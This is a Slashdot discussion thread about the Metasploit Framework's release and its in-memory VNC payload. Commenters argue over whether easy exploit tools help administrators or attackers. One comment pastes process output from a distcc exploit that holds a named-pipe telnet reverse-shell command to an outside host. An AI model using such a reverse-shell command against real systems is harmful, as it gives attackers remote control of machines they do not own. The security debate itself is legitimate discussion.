      If your admins 'test their networks in click-n-drool fashion', I think you have much bigger problems to worry about.......

    3. Re:What a cool tool by Frank+T.+Lofaro+Jr. · · Score: 1

      The admin could use the VNC server to install a patch to close the vulnerability.

      Checking for exploits and fixing them could be done as part of one operation.

      Thus making things easier for the admins.

      --
      Just because it CAN be done, doesn't mean it should!
    4. Re:What a cool tool by sglane81 · · Score: 1

      That's some flawed logic. Odds are the admin already has the means to login via Remote Desktop (or some other means). That's like saying: I'm testing my car's bumper by driving 100mph directly into the wall of my mechanic. If I get through the wall, the mechanic can fix it.

      --
      This is the Internet. You can say "fuck" here. - AC
    5. Re:What a cool tool by bulliver · · Score: 1

      Right after I read this article I installed this thing and in less then 10 minutes I had a shell on my server. It was an unprivileged distcc user, but still. There is nothing written in my logs, and the only clue that my server was haxored was by running 'netstat -a' during the exploit, and this output from ps which shows distcc doing something it shouldn't be:

      distcc 26652 0.0 0.7 2080 964 ? SN 02:20 0:00 sh -c mknod /tmp/.msfin p;cat /tmp/.msfin|telnet 192.168.0.2 4321|/bin/sh 2>&1|telnet 192.168.0.1 3632
      distcc 25884 0.0 0.2 1256 320 ? SN 02:20 0:00 cat /tmp/.msfin
      distcc 19652 0.0 0.5 1628 656 ? SN 02:20 0:00 telnet 192.168.0.2 4321
      distcc 203 0.0 0.7 2044 976 ? SN 02:20 0:00 /bin/sh
      distcc 20413 0.0 0.5 1656 664 ? SN 02:20 0:00 telnet 192.168.0.2 4321

      There was actually only one unix exploit (the distcc one) next to about 25-30 Windows exploits. A Solaris one too. Don't think I want to play with this puppy outside of my network...

      --
      Support the mob or mysteriously disappear.
    6. Re:What a cool tool by Frank+T.+Lofaro+Jr. · · Score: 1

      What if the admin hasn't installed any remote desktop software, perhaps for (ironically enough) security reasons?

      --
      Just because it CAN be done, doesn't mean it should!
  26. As a self-appointed representative of ... by burgburgburg · · Score: 3, Funny

    visually impaired black hat hackers, we resent that this program is not designed for wider access. It's just another example of the systematic discrimination that we face as we try to gain root and own you all. We will eventually succeed. And when we do, we'll make all web pages look like bad!

  27. Re:VNC ? by airjrdn · · Score: 0, Offtopic

    For those interested in RealVNC's response, see here - http://www.realvnc.com/faq.html#security

    Isn't VNC open source? If so, isn't that supposed to make it not shitty and insecure?

  28. It goes without saying... by Anonymous Coward · · Score: 3, Informative

    that anybody running VNC servers (or any remote access software) should have in place good firewalls and a good quality VPN requiring strong authentication.

    1. Re:It goes without saying... by nsayer · · Score: 3, Informative

      RTFA. The implication here is that the machine being attacked probably does NOT have a VNC server installed. The attack installs one.

    2. Re:It goes without saying... by Anonymous Coward · · Score: 0

      screw a VPN. SSH tunnels are the only way to use VNC.

      VPN = pain in the ass, while anyone can set up a SSH connection.

  29. 5w33t!!!!!!!1111 by liquidsin · · Score: 4, Funny

    cuz, like, lurning all thoze command line thingz wuz totally hard, this wil maek me s0 much m0re 1337!!!!!!!one I totale r0x0rz n0w!!!!LOLOL

    --
    do not read this line twice.
  30. I know how to stop it by PetoskeyGuy · · Score: 0

    I'll just leave it.slashdot.org full. That will teach those darn dirty hackers.

  31. Re:Oh yeah by Anonymous Coward · · Score: 0

    Amusing. Why does it go to www.microsoft.com?

  32. Stop slashdoting the site! by BRSloth · · Score: 4, Funny

    Can you guys stop slashdoting the site? I want to download it just to show some co-workers a little "surprise"...

    1. Re:Stop slashdoting the site! by Anonymous Coward · · Score: 0
  33. torrent by chimericalburst · · Score: 1, Informative

    ahem...torrent please?

    1. Re:torrent by MarcoPon · · Score: 1
      Here's one for the Win32 framework.

      Torrent


      Bye!

      --

      SeqBox
  34. The real objective, as usual, is... by James+Turpin · · Score: 5, Insightful

    ... to make security experts more valuable by making security vulnerablities easier to exploit.

    --
    Mathematics is not a crime.
  35. Re:VNC ? by MoOsEb0y · · Score: 3, Informative

    RTFA. They're using an unpassworded VNC server as the payload for your favorite win32 exploit. Thus, once you can root their machine, you can run a full VNC server in RAM and then wait till said luser sets their aim away message and goes to their boyfriend's house and have fun looking through their files remotely.

  36. color free link by gmhowell · · Score: 0, Redundant
    --
    Jesus was all right but his disciples were thick and ordinary. -John Lennon
  37. Just like in the movies by Animats · · Score: 4, Interesting
    Now, at long last, hacking tools have caught up with the movie versions. Point and click at last. The attack even shows up on the attacked PC on screen! With windows opening and mouse movement, even. Watch for this tool showing up in a movie within a year.

    Incidentally, note that this isn't a hole in VNC. It's an attack that installs VNC. VNC doesn't have to be present on the target before the attack.

    1. Re:Just like in the movies by Anonymous Coward · · Score: 1, Funny

      Funny you should say that...the name of Spoonm and HD Moore's talk at blackhat was "Metasploit: Hacking Like in the Movies"

  38. MOD PARENT UP by stratjakt · · Score: 1

    This is the truth.

    If they wanted to create a truly useful tool to help admins, it would simply check a machine, and return a true/false for each exploit, if it was successful - but would carry no payload.

    This is just creating a problem, hoping someone will pay them to solve it. Sad.

    Sad that the metasploit project is also only about windows exploits. There are exploits for various *nix services, and plenty of 'em. No real reason to patch your linux or BSD boxes, though, since noone's creating script kiddy tools to exploit these, though I don't see why not. Of course, that would go against the "See! Linux is unpernetrable an Winblows is teh suck!" mantra.

    --
    I don't need no instructions to know how to rock!!!!
    1. Re:MOD PARENT UP by Anonymous Coward · · Score: 0

      RTFA...there are linux, solaris, and Mac OSX exploits in MSF.

  39. Re:VNC ? by airjrdn · · Score: 1

    You need to Read The Friggen Parent. I was responding to "Since when has it been news that VNC is shitty and insecure?"

  40. Other articles by dilettante · · Score: 1

    There was a three part series on Metasploit on SecurityFocus in July. See here

  41. Great! by Mysticalfruit · · Score: 3, Insightful

    So instead of a script kiddie, we're going to now have "click kiddie"...

    "I'm so l33t, I don't 3v3n type!"

    --
    Yes Francis, the world has gone crazy.
    1. Re:Great! by Geoffreyerffoeg · · Score: 1

      At least it will be the end of L33t.

  42. Root display or new? by cornice · · Score: 1

    I can't seem to be able to reach the site. Does this run on the root display like VNC and PCAnywhere normally do under Windows or does it create a new display. It doesn't seem as useful except for as a prank if the user sees you take over the machine. So if this is able to create a new display then this is what I've been looking for. It would potentially allow me to run multiple sessions under Windows which is something I've been wanting to do but couldn't afford. Citrix or the server edition of Win4Lin could have solved my problem but this might do it too. Anyone know how this works?

    1. Re:Root display or new? by Anonymous Coward · · Score: 2, Insightful

      There is a limitation in the Win32 desktop API that only allows one desktop to be the 'input desktop'. While many services create a hidden desktop/windowstation to run in, it is not possible to read the 'screen' of this desktop or send input to it. Presumably this was a concious decision to prevent competition in the terminal services licensing department...

  43. sploited by koan · · Score: 1

    Apparantly metasploit got slash.sploited

    --
    "If any question why we died, Tell them because our fathers lied."
  44. Been there, done that. by aldeng · · Score: 1

    I did this exact thing in college, but it only worked for one kind of exploit. It was the ultimate backdoor because it was the front door. If I ever found that a floormate had left their door unlocked, I'd walk in with a CD with a VNC server on it, install it and then own their away messages forever!!! l33t h4x0r!!!

  45. Demonstrating Need for Security... Good 4 devlpmnt by Anonymous Coward · · Score: 2, Insightful

    Tools like this are GREAT at demonstrating the need for greater security at board meetingings, or initial consultations as a security consultant. Nothing opens peoples eyes to the need for mass patching of workstations or servers like breaking into a machine using a tool that a 4yo could use.

    Also tools like this are good for exploit developers becuase they can stop spending their time creating a vaguely usable interface for their proof of concepts and find more holes to get fixed.

  46. CLI vs. GUI Exploits by danielrm26 · · Score: 1

    Is this the end as we know it for simple remote command shell exploits?

    No, it's not. First there is the issue of bandwidth, but even more compelling is the "leetness" of the options. The CLI will always appeal to the more dangerous crackers - and those that immitate them.

    --
    dmiessler.com -- grep understanding knowledge
  47. Re: yr. sig. by Anonymous Coward · · Score: 0

    It's because by default in Firefox when something is entered into the location bar that is not a URL, google does an "I'm Feeling Lucky" search on the string. The string "http;slashdot.org" terminates with the semicolon. You may notice if you google for "http" microsoft.com is the first result. Therefore entering "http;billgateseatsbabies.com" will also go to microsoft.com

  48. Or you could apply patches and use MBSA by slash-tard · · Score: 1

    Microsoft Baseline Security Analyzer

    It even has a command line testing tool.

  49. Legitimate use of this kit by dillee1 · · Score: 2, Insightful

    This kit allows quick remote access to windows system, without the need to preconfigure anything on the far side before hand.
    The best thing is that it allows you to use SYSTEM, which is has higher privilege than ADMINISTRATOR.

    Windows admin are gonna love this damn thing.

  50. An example need for change by mcrbids · · Score: 0, Offtopic

    This is a pretty clear example of why we need to make a change in the way files/memory are kept.

    Here's the heirarchy for data storage:

    cpu registers (where the data is requested)
    l1 cache
    l2 cache
    l3 cache
    RAM
    <snip>
    disk/network

    Notice the disconnect between RAM and disk. All levels of storage above disk are essentially buffers for the RAM - Why the disconnect at disk/network?

    I think we should remodel the memory/storage model to fall fully in line with "everything is a file" - including blocks of memory! Treat memory as though it were simply a buffer for a file, and make the concept of "in memory" merely a detail for the disk cache controller.

    Writing to memory and writing to disk/network share etc. should be the same operation and would eliminate all kinds of un-needed software complexity.

    --
    I have no problem with your religion until you decide it's reason to deprive others of the truth.
    1. Re:An example need for change by Anonymous Coward · · Score: 0

      Hmm, no. I think programmers should just actually program again. The time needed for each operation varies by many orders of magnitude, and if we ignore this, programs will suck and be slow. What we need is for all the programmers to take a few hardware classes so that they actually know what the hell their code is actually doing.

    2. Re:An example need for change by Anonymous Coward · · Score: 0

      So, replace

      i = 5;

      with

      write(location_in_memory, 5, sizeof(int));

      Yeah, that removes all kinds of 'un-needed software complexity.' (never mind accessing location_in_memory requires some kind of read() which in turn, needs its own access and some kind of location in memory, which again requires access, ad nauseum......)

    3. Re:An example need for change by Anonymous Coward · · Score: 0

      I hate to see such ignorance go unreplied.

      on intel (and most architectures these days)

      registers = 0 cpu cycles
      l1 cache = 1-2 cpu cycles
      l2 cache = 3-4 cpu cycles
      ram = 8-20 cpu cycles
      disk = 100,000 cpu cycles

      If all ram were written to disk, what is the purpose of ram? Why do kernel developers spend days/months/years developing more efficient file system caching algorithms?

    4. Re:An example need for change by aminorex · · Score: 1

      > I think we should remodel the memory/storage
      > model to fall fully in line with "everything is
      > a file" - including blocks of memory! Treat
      > memory as though it were simply a buffer for a
      > file, and make the concept of "in memory" merely
      > a detail for the disk cache controller.

      Yeah, so instead of
      a = 42;
      you can write
      if (lseek(memfd,A_OFFSET,L_SET)) == A_OFFSET) {
      int retcode = write(memfd,&newvalue,sizeof(newvalue)); ... oops, forgot that i had to set "newvalue"...

      Beginning to see the absurdity here?

      > Writing to memory and writing to disk/network
      > share etc. should be the same operation and
      > would eliminate all kinds of un-needed software
      > complexity.

      Yes, but that is done by making everything look like
      local memory, not like a file.

      --
      -I like my women like I like my tea: green-
    5. Re:An example need for change by mcrbids · · Score: 1

      If all ram were written to disk, what is the purpose of ram? Why do kernel developers spend days/months/years developing more efficient file system caching algorithms?

      I'm amazed by the uncreative dumb-ass comments on this thread. What amazing lack of vision!

      Have you never really used Novell Netware? Back in the 1980s, Novell had "Network File Server" down in ways that still can only be approximated.

      Let's say you had a file on the server. It tracked how often you accessed it. When it defragged the disk, it would optimize for the most commonly used files.

      If a file went long enough, it would spool that file to tape. You could still do a "dir" (Novell was commonly used in DOS 5 days) and it would show up. But, if you copied it or tried to access it, there would be a delay while the very infrequently used file was pulled from the tape drive.

      It was *that* good. But, if you were paying any attention at all, you'd notice that that sounds amazingly like how Virtual Memory..... LRU, anybody?

      The only difference between using "everything is a file" and normal RAM is that the MEMORY used by a program would itself be a file handle, even though, being very frequently used, it would be kept in system memory/cache.

      If something in memory isn't used, it's written to disk. (Already happens a la VM, but in a screwy, non-uniform way) And so on. In a process that's invisible to the programmer, much as other file handles are.

      I'm not suggesting that you'd use fopen() to write an integer to a memory location - I'm not sure which is more retarded, the idea, or thinking that's what I meant.

      But, let's say that you wanted to start a process. The first step to using memory is to allocate it, and *THAT* would be done a la fopen() or something similar. The memory used by a process would be tied to a file handle, which, if the process was hung, or sleeping, would eventually get written to disk.

      With this model, you could pause the entire machine, write everything to disk, power it down, and turn it back on, reload the processes running, and you wouldn't have to do any weirds like you do now. (think VMWare's suspend, only without all the crazy memory tricks they have to play)

      Also, if a process is running, there's a file handle associated there with it, and thus you couldn't have a program hide itself by remaining memory resident. (Which is why it belongs in this article)

      Killing a process could be as simple as erasing it's allocated memory.

      How is that retarded, infeasible, or whatever else was implied here? Just because it's how it's not Always Been Done (tm), doesn't mean that it can't or shouldn't be done!

      --
      I have no problem with your religion until you decide it's reason to deprive others of the truth.
    6. Re:An example need for change by m4k3r · · Score: 1
      I realise the parent was troll bait, but I'll reply anyway... In the *nix world:

      // Writing to memory:
      int a = 5;
      // Or, in case you don't think the stack counts as a "block of memory":
      int *b = new int;
      *b = 5;

      Writing to a disk:

      • open, check for EINTR and repeat.
      • write, repeat until everything is written, repeat on EINTR, do something on an error
      • close, and check to ensure the data previously written didn't cause an error (eg. If it was over NFS)
      So, I seriously doubt you could argue that writing to a file is the way forward. Conversely, many people will mmap a file so that it looks like a block of memory, and in many cases this can reduce complexity. Being able to use an iterator pattern over the file data is priceless.

      Assigning whether the "file" should contain persistent data or transient 'buffer' data would increase complexity.

      btw, what happens when the so called "disk cache controller" decides that the disk is full ?

  51. And then... by Henk+Poley · · Score: 1

    ... the computer went all beep beep beep?

  52. better link by donutz · · Score: 0, Redundant
  53. Re:Oh yeah by stratjakt · · Score: 1

    Because firefox does an Im Feeling Lucky search on everything up to the semicolon. It does this for any non-valid URL. microsoft.com just happens to be the first hit for the string "http;"

    --
    I don't need no instructions to know how to rock!!!!
  54. Why all the negative response? by maximilln · · Score: 3, Insightful

    Has the /. community been hiding in a dark cave someplace? Back Orifice, Netbus, and Sub7 were all available YEARS ago. All three offered graphical user interfaces which allowed the exploiter to launch programs, change text, take screenshots, and many other wonderful functions (in the case of Back Orifice there was even a plugin system called Butt-Plugs). As time has passed Netbus has even become a commercial remote administration tool. The only thing that was required was a little knowledge of a network exploit which allowed the execution of remote code. In many cases it wasn't that difficult to come by. In other cases it was easy enough, especially in the early years, to send an e-card to someone. In the beginning, if any of you remember, e-cards were often self-contained .exe files and it wasn't that uncommon to receive an .exe e-card. Additionally many people who were studying computer science would write cute nifty little programs for their girl/boyfriends/family members.

    So what's so bad about metasploit? It does little more than automate the installer for a concept which isn't new. If anything the public may start to see the real value of those of us who have been labeled as paranoid freaks for the last 10 years. This is the dawn of an age when the computer security expert may begin to receive the respect that we deserve. Previously we had been pooh-poohed by the general public aided in their derision by self-important sysadmins with the personality characteristics of the Simpsons' comic book guy.

    --
    +++ATHZ 99:5:80
    1. Re:Why all the negative response? by Anonymous Coward · · Score: 2, Informative

      yeah but obviously u haven't RTFA'ed cause then you would know how much better VNC server as A PAYLOAD is than some of these other tools that you've meantioned...the metasploit VNC payload WILL NOT create a new process and WILL NOT touch the disk at all, it doesn't simply "automate the installer".

      If you own a box and put Netbus on it any forensics monkey can figure out what was going on. With metasploit framework they'll be totally useless...time to find a new job forensics guys!

      Oh and if people think you are the Simpsons' comic book guy.....it is prob. cause you are.

    2. Re:Why all the negative response? by valdezjuan · · Score: 1

      I think it is a bit inaccurate to say that it is time for the forensics folks to look for new jobs. Metasploit is not doing any voodoo or launching ram out of the exploited computer to blind the admin/user from seeing or detecting that the machine is compromised or that there is somehting 'fishy' going on. Just because something is not written to disk doesn't mean that it has some sort of magic shield around it, that protects it from the eyes of people that don't have the secret decoder ring. People have been dumping and analysing the contents of RAM for ages. Most (if not all) of the forensics tools I have played with include this ability and automate a large part of this. Granteed when the machine shutdowns that data is lost but while you are performing forensics on a live machine, it's there for you to access. You can also look at the network and detect that there are odd things afoot. You can tune your IDS to look for packets that resemble VNC traffic (though I would only suggest this if you don't use it yourself) or any number of things.

      As for the parent of this particular tangent. No there isn't anything 'new' in this but comparing Metasploit to things like NetBus and BO2K is completely wrong. Those were tools that allowed you to control a machine and hide your presence while doing it. Metasploit gives you the chance to get the access that you would need to install your NetBus, etc.. Metasploit does this in a way that makes it easy for the average person, no more loops trying to brute force memory address's, no more trying to reverse engineer some piece of software while trying to crack it, or searching all your various stash points looking for you copy of VNC that is all set up to install on some machine you 'borrowed'. This tool has a slick interface (actually several) and it works extremelly well. I personally think it is a fantastic tool, now I don't have to spend the time I used to trying to create an exploit to prove to some bone headed manager that a vulnerability is important and should be patched. Valuable time can be saved by using this tool.

      Excellent tool! Well at least in my world. ;-)

    3. Re:Why all the negative response? by maximilln · · Score: 1

      Metasploit gives you the chance to get the access that you would need to install

      That's what I was alluding to. Previously someone had to c/p code together to get the job down. Now metasploit does it for you. Big deal? If anything metasploit allows us to shake the public out of their delusion that it takes some immense amount of skill to pull this off. Any sufficiently motivated first year programming student could put it together. The impression that cracking a computer was a realm of supreme skill and ability was holding back the public acceptance. Their own ignorance was their safety shield and their justification for labeling true computer security enthusiasts as paranoid.

      Metasploit is the red pill for the matrix. No longer can the public put their head in the sand and deny how easy it is to take complete control of another system.

      I don't see this as increasing the abilities of script kiddies. They've been using rootkits for years. If anything their numbers may increase by 10%. The more important effect, in my opinion, is to dispel the public's self-imposed ignorance about the probability that this happens.

      --
      +++ATHZ 99:5:80
  55. the answer: by torpor · · Score: 2, Interesting

    good design.

    --
    ; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
  56. Duh! by Anonymous Coward · · Score: 0

    So when your computer bluescreens, the state of the computer is written to disk. Great idea.

  57. More importantly by maximilln · · Score: 3, Funny

    Will the -devel branch of metasploit become the central hub for 0-day exploits?

    Metasploit stable : This branch has only been tested to work on unpatched machines.

    Metasploit -dev ($49.95 membership and password required): This branch has been tested to work against fully up to date and patched machines.

    That'd be | |_|63r-|337

    --
    +++ATHZ 99:5:80
    1. Re:More importantly by valdezjuan · · Score: 1

      Well more than likely the devel will contain 0-day's, up until the point that they release them. There have been a few (at least I seem to remeber a couple) of exploits that were released as part of the Framework. So it would seem to make sense that if they have an exploit that hasn't been released publicly (still waiting on companies or what not) and is coded as a module then it would be in the dev version, though, I doubt that there would be a large number of people that would have access. Otherwise they would just release it to the public.

      I doubt they would go the pay route since they are basically the free version of Canvas (http://www.immunitysec.com/) and Core's Impact (http://www1.corest.com/products/coreimpact/index. php). So I think it will remain open source and free for some time to come.

  58. Nice spamfilter option. by Fuzzums · · Score: 2, Funny

    I think I'll incorporate this project in my spam-filter to execute a remote shut-down after receiving the first spam. After a 2nd spam I'll think of a more permanent way to opt-out. ;)

    --
    Privacy is terrorism.
  59. Mud - Visual Mud by lilmouse · · Score: 1

    Now we have

    Command line Entry -> Visual Entry.

    'twas so much simpler when you only had ppl who could actually type.

    --LWM

  60. Confused by MicroBerto · · Score: 1
    I'm a bit confused here... this is my first time seeing this and I'm very interested, but looking at the docs, there's only 34 exploits?

    Where are all of the windows and old linux kernel exploits? What exactly is this program going after? I'd think there'd be tons of other exploits, like how the Sasser virus gets into Win2k/XP and stuff.

    Or is this really a more childish project that finds one hole, inserts VNC, and lets you do whatever you want to it without testing all of those holes...?

    --
    Berto
    1. Re:Confused by Anonymous Coward · · Score: 0

      Windows/Linux kernel exploits? These (in most cases) are local exploits used for elevating privledges once you already have the ability to execute on the box as any user.
      This being said, that metasploit has _remote_ exploits only...

      As the name indicates it is an exploit framework. The DLL Inject payload simply runs a DLL within the thread of the exploited program. For VNC it uses a custom VNC server compiled as a DLL.

      RTFM, my friend, RTFM.

    2. Re:Confused by cloveygrl · · Score: 1

      From what the authors said this is not supposed to be an 0day exploit tool. They are just trying to write a good exploit framework for pentesters that does not cost and arm and a leg. As far as sasser it is one of the exploits that was present in the version I saw

    3. Re:Confused by valdezjuan · · Score: 1

      The project is meant to provide reliable exploits (among other things) for people that are performing pen-tests, IDS signature development and research. Its not meant to be a tool that people can download and start cracking machines all over the internet with the latest 'leet sploit'. It serves as a framework that allows people to create there own exploits or use the shellcode they have created.

      Right now it may only have 34 exploits but they are solid and work very well. Along with that they have created a CLI, a curses'ish and a web interface (I think I may have missed one) that allows you to select the shellcode, select the exploit, select just about every option you could possible want.

      If there is an exploit that you don't see but want, code it up and add it to the project. As for the kernel exploits, how would you use a remote tool to exploit a local vulnerability? I can see if you cracked the machine using an exploit that got you nobody, or some other non-privileged account and then uploaded a local root exploit and executed that. Perhaps that should be a module you should code?

  61. OT: Sig Reply by E-Rock · · Score: 1

    In case you seriously think Kerry will install someone better than Ashcroft, this should be an interesting read. Keep in mind that Kerry authored several sections of the Patriot Act.

    http://www.reason.com/hod/jb072604.shtml

    If you don't feel like reading, here's some highlights:

    This isn't the first time Kerry and Ashcroft have been at odds over civil liberties. In the 1990s, government proposals to restrict encryption inspired a national debate. Then as now, the American Civil Liberties Union (ACLU) and electronic privacy groups locked horns with the DOJ and law enforcement agencies. Then as now, Kerry and Ashcroft were on opposite sides.

    But there was noteworthy difference in those days. Then it was Sen. John Ashcroft (R-Mo.) who argued alongside the ACLU in favor of the individual's right to encrypt messages and export encryption software. Ashcroft "was kind of the go-to guy for all of us on the Republican side of the Senate," recalls David Sobel, general counsel of the Electronic Privacy Information Center.

    And in what now seems like a bizarre parallel universe, it was John Kerry who was on the side of the FBI, the National Security Agency, and the DOJ. Ashcroft's predecessor at the Justice Department, Janet Reno, wanted to force companies to create a "clipper chip" for the government--a chip that could "unlock" the encryption codes individuals use to keep their messages private. When that wouldn't fly in Congress, the DOJ pushed for a "key escrow" system in which a third-party agency would have a "backdoor" key to read encrypted messages.

    - - - -

    Responding directly to a column in Wired on encryption that said "trusting the government with your privacy is like having a Peeping Tom install your window blinds," Kerry invoked the Americans killed in 1993 bombing of the World Trade Center and the 1995 bombing of the Alfred P. Murrah Building in Oklahoma City. "[O]ne would be hard-pressed," he wrote, "to find a single grieving relative of those killed in the bombings of the World Trade Center in New York or the federal building in Oklahoma City who would not have gladly sacrificed a measure of personal privacy if it could have saved a loved one."

  62. Arbitrary code is arbitrary code by johnrob · · Score: 1

    Sure it's entertaining to view a hacked PC remotely, but a VNC payload is not a greater security threat than anything else out there. The second your PC is running a hacker's program (w/ or w/o the VNC payload), everything is at risk.

  63. Tough. Security testing should be this easy. by Wakko+Warner · · Score: 4, Insightful

    I am not against full disclosure or the dissemation of security tools I just happen to think that for every one security pro who uses this tool for good there will be a hundred script kiddies who use it for causing havoc.

    There are already plenty of tools out there for that, with more being created every day. I for one am fed up with people who complain every single time something like this, which makes my life easier since I don't have to do any actual work to test out the machines on my network, is introduced.

    Isn't it better to discover, identify, and eliminate the weaknesses in one's network rather than wait for someone less trustworthy to discover, identify, and exploit them without your permission? Isn't that what software like this can help us accomplish?

    There's no stopping software like this. More and better software is being created all the time, and some of it can indeed be used by bad people to do bad things. Rather than complain and fret about the potential evil uses to which it can be put, the sensible person would welcome it as yet another useful tool in their security arsenal.

    Did you also whine about "nmap"?

    - A.P.

    --
    "Remember when the U.S. had a drug problem, and then we declared a War On Drugs, and now you can't buy drugs anymore?"
  64. So which versions of VNC are affected? by bogie · · Score: 1

    All? "This release includes the DLL injection payloads (VNC)" isn't very helpful and the documentation doesn't seem to mention anything. Anyone? Bueller?

    --
    If you wanna get rich, you know that payback is a bitch
    1. Re:So which versions of VNC are affected? by cloveygrl · · Score: 2, Informative

      It is not a VNC exploit - it exploits some vulnerability on the system and then has VNC as its payload. So once you have exploited the hole you have a nice VNC session for your personal use.

    2. Re:So which versions of VNC are affected? by bogie · · Score: 1

      Ah. Much thanks. I guess I just didn't pay enough attention to the problem, plus as I mentioned that site didn't seem to give much info.

      --
      If you wanna get rich, you know that payback is a bitch
  65. MS Press Release by symbolset · · Score: 1
    8/12/2004 Redmond - Microsoft announced today the URA - "Universal Remote Administration" feature of its flagship Windows products is intended to ease the support of end users by helpdesk personnel, and is a subset of the previously announced "Universal Plug and Play" standard.

    Industry security analyst Kevin Mitnick was laughing uncontrollably and unable to comment.

    --
    Help stamp out iliturcy.
  66. Torrent? Mirror? by Anonymous Coward · · Score: 0

    Anyone have a torrent or a mirror for the Cygwin version?

  67. what we need now by CAIMLAS · · Score: 1

    what we need now is a root kit which installs a remote shell on the machine of the person rooting, and then send off a snippet of information to a central authority (FBI? vigilante forces?) who would then use the information to take these fools out.

    or, i could see a rootkit maker integrate something like this and then use it to gain access to all the zombied machines of the people that employed the rootkit... that would likely be bad.

    --
    ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
    1. Re:what we need now by LiquidCoooled · · Score: 1

      Create payload which does the following:

      Reads all Internet explorer addresses, and notes anything dodgy or illegal.

      1) Takes a snapshot of the screen and some further info.

      2) Automatically emails this snapshot to the authorities, and everyone in addressbook.

      3) Profit! (well actually this bit is spread to other clients)

      this would remove a lot of wrongs from the world in one easy manner.

      --
      liqbase :: faster than paper
  68. Re:Tough. Security testing should be this easy. by JAD+lifter · · Score: 1

    Rather than complain and fret about the potential evil uses to which it can be put, the sensible person would welcome it as yet another useful tool in their security arsenal.

    You completely missed my point. I said I am not against full disclosure or the dissemation of security tools. I think that tools like metasploit can be very valuable. What I was saying was that the inclusion of the VNC server payload was irresponsible. I don't see the point in the metasploit team creating and including this payload. That is my point.

    Did you also whine about "nmap"?

    WTF are you talking about? Didn't I say "I am not against full disclosure or the dissemation of security tools?!" My problem is that I don't understand the point with them creating this specific payload and nobody seems to give me a valid explanation why they did it. I mean if you are vulnerable to the exploit that this payload uses then that's all you need to know, why include a payload like this? Why not just release the exploit with a payload that is already being used, why introduce new payloads into the wild?

  69. If this impresses you, check out this one... by Alejo · · Score: 1

    Core Impact. Just that its commercial doesn't mean it's not the same issue.
    Good pals.
    Flash movie with sample attack

  70. My Brother's Sad Day. by uberdave · · Score: 4, Funny

    Back in the days of yore, my brother and his friends used to take pride in knowing a wide variety of tools and techniques for opening beer bottles. Then along came the twist off beer bottle cap, and my brother was heard to say: "Crap, now any idiot can open a beer.".

    It happens to all of us, our hard won skills, honed to perfection over years of use, the knowledge and techniques that make us special and separate us from the common man, get packaged into a user friendly, idiot proof tool. It's called progress.

  71. The kiddies are alright by bitspotter · · Score: 1

    Let's never mind how easy this makes it for amateurs to break into systems.

    How easy does this make it for *machines* to break into systems? How long before we see worms in the wild that just grab exploits straight from the site? Offering shrink-wrapped exploits sure reduces the configuration space over which a mutating worm would need to vary its programming.

    As much of a curmudgeon about machine intelligence as you may be, I know a number of people who would be hard pressed to say which was dumber: your average script kiddie, or your average worm.

  72. Off-topic: Sig Reply by Anonymous Coward · · Score: 0

    /* Keep in mind that Kerry authored several sections of the Patriot Act. */

    That's simply not true.
    Kerry voted for U.S.A.P.A.T.R.I.O.T. - the only presidential candidate against it was Kusinich.
    However, right now Kerry is working of SAFE Act that would hopefully restrict that "Patriot" thing.

    All that from article you linked to.

    1. Re:Off-topic: Sig Reply by E-Rock · · Score: 1

      Read it again, he wrote the bank monitoring provisions.

  73. Would you do a diseased prostitute w/o protection? by b00m3rang · · Score: 1

    That's what connecting an unprotected computer to the Internet is like. The parent post was good advice.